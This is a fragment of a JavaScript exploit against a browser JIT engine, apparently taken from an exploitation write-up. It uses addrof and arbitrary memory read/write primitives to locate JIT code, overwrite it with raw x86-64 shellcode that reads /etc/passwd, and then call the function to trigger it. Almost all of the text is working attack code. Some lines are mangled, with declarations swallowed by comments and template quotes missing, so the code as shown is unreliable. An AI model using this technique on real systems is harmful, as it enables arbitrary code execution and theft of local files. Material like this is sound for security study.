//var jitCodeAddr = memory.read64(Add(jitCodeObjAddr, 352));
debug([+] JITCode @ ${jitCodeAddr});
// Our shellcode var shellcode = [0xeb, 0x3f, 0x5f, 0x80, 0x77, 0xb, 0x41, 0x48, 0x31, 0xc0, 0x4, 0x2, 0x48, 0x31, 0xf6, 0xf, 0x5, 0x66, 0x81, 0xec, 0xff, 0xf, 0x48, 0x8d, 0x34, 0x24, 0x48, 0x89, 0xc7, 0x48, 0x31, 0xd2, 0x66, 0xba, 0xff, 0xf, 0x48, 0x31, 0xc0, 0xf, 0x5, 0x48, 0x31, 0xff, 0x40, 0x80, 0xc7, 0x1, 0x48, 0x89, 0xc2, 0x48, 0x31, 0xc0, 0x4, 0x1, 0xf, 0x5, 0x48, 0x31, 0xc0, 0x4, 0x3c, 0xf, 0x5, 0xe8, 0xbc, 0xff, 0xff, 0xff, 0x2f, 0x65, 0x74, 0x63, 0x2f, 0x70, 0x61, 0x73, 0x73, 0x77, 0x64, 0x41]
var s = "A".repeat(64); var strAddr = addrof(s); var strData = Add(memory.read64(Add(strAddr, 16)), 20);
// write shellcode shellcode.push(...strData.bytes()); memory.write(jitCodeAddr, shellcode);
// trigger and get /etc/passwd func(); print() #+end_example